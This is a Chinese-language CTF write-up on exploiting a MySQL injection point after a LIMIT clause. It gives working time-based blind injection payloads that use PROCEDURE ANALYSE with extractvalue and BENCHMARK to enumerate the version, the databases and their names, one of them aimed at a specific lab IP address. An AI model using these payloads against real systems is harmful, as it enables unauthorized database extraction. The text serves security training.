HDUISA WEB CTF 集训 LIMIT 注入 WriteUp
就两个页面,分别是index.php
和news.php
。
通过测试news.php?id=1 and 1=1
之类的 PAYLOAD 发现,这个 id 极有可能进行了 intval 之类的转换,故此处没有注入点。
继续测试 index.php?l=3,这个是控制每页显示几条新闻的,结果发现加上单引号后直接 500,这里应该是有注入点的。进一步测试发现UNION
被过滤,猜测 SQL 语句应该为:
SELECT * FROM [TABLE] WHERE 1 LIMIT 0, $l;
这样一来,注入点就在 LIMIT 后面了,可是 LIMIT 后面基本上啥都不能接,我们看一下 MySQL 官方对 SELECT 的说明:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY col_name ( expr | position)
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY col_name ( expr | position)
[ASC | DESC], ...]
[LIMIT [offset,] row_count ( row_count OFFSET offset) ]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
可以看到可以接在 LIMIT 后面的子句只有PROCEDURE
、INTO OUTFILE
可以利用。但是这里明显不能用INTO OUTFILE
(肯定不可写,而且也不知道物理路径),那就只能用 PROCEDURE 来了。关于 PROCEDURE 请参考这里 http://dev.mysql.com/doc/refman/4.1/en/procedure-analyse.html
根据 MySQL 的官方手册,发现可以这样:
SELECT * FROM TABLE WHERE 1 LIMIT 0, 1 PROCEDURE ANALYSE(1,1)
也就是说 ANALYSE 可以有两个参数,接下来就尝试在这里注入,参考:http://lightless.me/archives/111.html
这个题是没有错误回显的,so 只能基于时间盲注了,真是个浩大的工程啊!
先来测试?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
发现返回 500,但是延时了,什么鬼,把LIKE 5
换成LIKE 4
,发现没有延时,还真的可以注啊。于是继续构造 PAYLOAD,先来爆数据库的个数:
?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);
通过这个 PAYLOAD 可以很快确定是 5 个数据库。然后接下来爆数据库的名字。
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) > 97, BENCHMARK(5000000,SHA1(1)),1))))),1);
这个 PAYLOAD 里面0,1
的部分是指第 0 个数据库,1,1
是指第一位字符,所以这条 PAYLOAD 是猜测第 0 个数据库的第一个字符,通过二分法可以很快的确定第一个字符是i
,大胆猜测这个是 information 那个数据库,继续测试后面的数据库。当然也可以用database()
函数获取当前使用的数据库,这样直接去爆表名就行了,省去了爆破数据库的过程。
接下来就可以根据这个思路写脚本来盲注数据的内容了,经过漫长的写脚本,注入,写脚本,注入过程之后,最终找到 FLAG 在 flag 表中。
Cra
Cra
Cra